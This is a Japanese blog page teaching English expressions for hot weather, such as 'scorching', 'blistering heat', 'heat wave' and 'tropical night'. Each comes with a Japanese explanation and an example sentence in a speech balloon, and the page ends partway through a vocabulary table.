<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff6f0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff6f0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>It&#8217;s a boiling hot day. Please be careful and stay hydrated when you go out.</strong><br>今日はうだるように暑いから、外に出る時は気をつけて、水分補給をしっかりしてね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Severe Heat：厳しい暑さ</h4>



<p>厳しい、という形容詞severeを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8f3e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d8f3e8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The severe heat continues in the US.</strong><br>アメリカでは厳しい暑さが続いています</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Scorching Heat / Scorching / Scorcher：猛暑日、焦げるように暑い</h4>



<p>Scorchは炙る、焦がすという動詞。焦げるような、という形容詞scorchingを使用することで暑さのレベルがアップします。Scorcherは焦げるように暑い日という名詞。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_adult_people_woman_doctor_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>Hot isn’t the word for it. It is scorching!</strong><br>暑いなんてもんじゃない。焼けつきそうだ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Make sure to wear a hat today when you go out. It’s going to be a scorcher hell!</strong><br>今日は帽子を必ず被ってね。灼熱地獄だよ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Oppressive Heat：猛暑日</h4>



<p>過酷な、という形容詞oppressiveを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>The oppressive heat hit us as soon as we stepped off the train.</strong><br>電車を降りた途端、キョーレツな暑さが襲ってきたね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Blistering Heat：水ぶくれができるくらい暑い、猛烈に暑い</h4>



<p>Blisterは水ぶくれができるという動詞。水ぶくれができるような、という形容詞blisteringを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f2e4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f2e4ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>We’ve been having blistering heat this summer.</strong><br>今年の夏は酷暑が続いてるね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Baking Hot：焼け付くように暑い</h4>



<p>Bakeは焼く、いう動詞。焼けるような、という形容詞bakingを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2fe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe2fe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t believe it is already baking hot even though it’s 6 in the morning!</strong><br>朝の6時だというのに外はすでに焼け付くように暑いなんて信じられないよ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Stifling Heat：息が詰まるような暑さ</h4>



<p>Stifleは窒息するという動詞。息が詰まるような、という形容詞stiflingを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeadb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeadb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The kitchen is stifling hot when we use the stove to cook today.</strong><br>今日、台所で火を使って料理すると息が詰まるような暑さになるね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Burning Hot：焼けるように暑い</h4>



<p>Burn焼ける、燃える、という動詞。焼けるような、という形容詞burningを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It was burning hot in the Sahara desert.</strong><br>サハラ砂漠は灼熱で焼け焦げるように暑かったー</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Sizzling Hot：じりじり焼けるほど暑い</h4>



<p>Sizzleは肉や焼けたり揚げ物をする際のジュージューという音。形容詞sizzlingを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-think vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/10/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-cyan-bluish-gray-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>It is difficult to take care of your health in this sizzling hot summer.</strong><br>この焼けつくような夏の暑さでは健康管理をするのは難しいよね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Blazing Heat：灼熱</h4>



<p>Blazeは焼けるという動詞。焼けつくようなという形容詞blazingを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffd8d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffd8d8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The blazing heat caused my greens to wither.</strong><br>強烈な暑さで観葉植物が枯れてしまった</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Melting Hot：溶けるように暑い</h4>



<p>Meltは溶けるという動詞。溶けるようなという形容詞meltingを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It&#8217;s been melting hot.</strong><br>溶けるように暑い日々が続いてるよね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Heat Wave：熱波</h4>



<p>その地域の平均的な気温に比べて著しく高温な気塊が波のように連続して押し寄せてくる現象。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dfeeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dfeeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>It is the worst heat wave in 20 years. I can’t sleep well and don’t have much of an appetite. I can’t wait for this summer to be over!</strong><br>ここ20年間で最悪の熱波。よく眠れないし、あんまり食欲もないんだ。早く夏が終わってほしいよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Sweltering Night / Sultry Night / Tropical Night：熱帯夜</h4>



<p>日本の気象庁用語で、夕方から翌朝までの最低気温が25度以上の夜。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2fff3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e2fff3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;ve been only thinking about how to survive a tropical night.</strong><br>熱帯夜をどうやって切り抜けるかばかり考えててるよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Lingering Summer Heat：残暑</h4>



<p>立秋の日以後の暑さ。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/good-dog.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>The lingering summer heat is still tough. Take care of yourself!</strong><br>まだまだ残暑が厳しいから気をつけてね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Great Heat：大暑</h4>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe5ec"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe5ec transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Great Heat is one of the 24 solar terms and refers to the hottest period of the year.</strong><br>大暑って二十四節気の一つで1年で最も暑い時期を指す言葉なんだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Summer Day：夏日</h4>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0e5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff0e5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>In Japan, days when the temperature exceeds 25℃ are called “summer day”.</strong><br>日本では、最高気温が25℃以上の日を「夏日」って言うのよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Mid-Summer Day：真夏日</h4>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#feffed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #feffed transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Days when the temperature gets higher than 30℃ are called “mid-summer day”</strong><br>最高気温が30℃以上の日を「真夏日」って言うんだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Extremely Hot Day：猛暑日</h4>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff1e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff1e6 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Do you know days when the temperature tops 35℃ are called “extremely hot day”？</strong><br>最高気温が35℃以上の日を「猛暑日」っていうって知ってる？</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128a.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It was an extremely hot day with temperatures around 40℃ this afternoon.</strong><br>今日の午後は40度近い気温の猛暑日だったね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading"><strong>Tropical Night：熱帯夜</strong></h4>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dffff2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dffff2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Nights when the temperature does not drop below 25℃ are called “tropical night”.</strong><br>最低気温が25℃以上の夜を「熱帯夜」って言うんだって</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Sweaty / Sticky：汗でべたべたする</h4>



<p>Sweatは汗をかく。Stickはくっつく。形容詞にすると汗ばんでベタベタするという意味になります。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3f5ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e3f5ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I got sweaty and sticky.</strong><br>汗をかいてベタベタだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:47px;height:auto"/></figure>


<table style="height: 323px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get frizzy</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">髪が広がる、癖毛になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>issue</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を交付する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stay hydrated</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">水分補給をする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>tropical</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">熱帯</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>24 solar terms</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><span style="background-color: #f5d0dc;"><a style="background-color: #f5d0dc;" href="https://ja.wikipedia.org/wiki/%E4%BA%8C%E5%8D%81%E5%9B%9B%E7%AF%80%E6%B0%97" target="_blank" rel="noopener">二十四節気</a></span>。中国の四季、気候など一年を仕分ける方法</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>exceed</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が超える、〜が上回る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
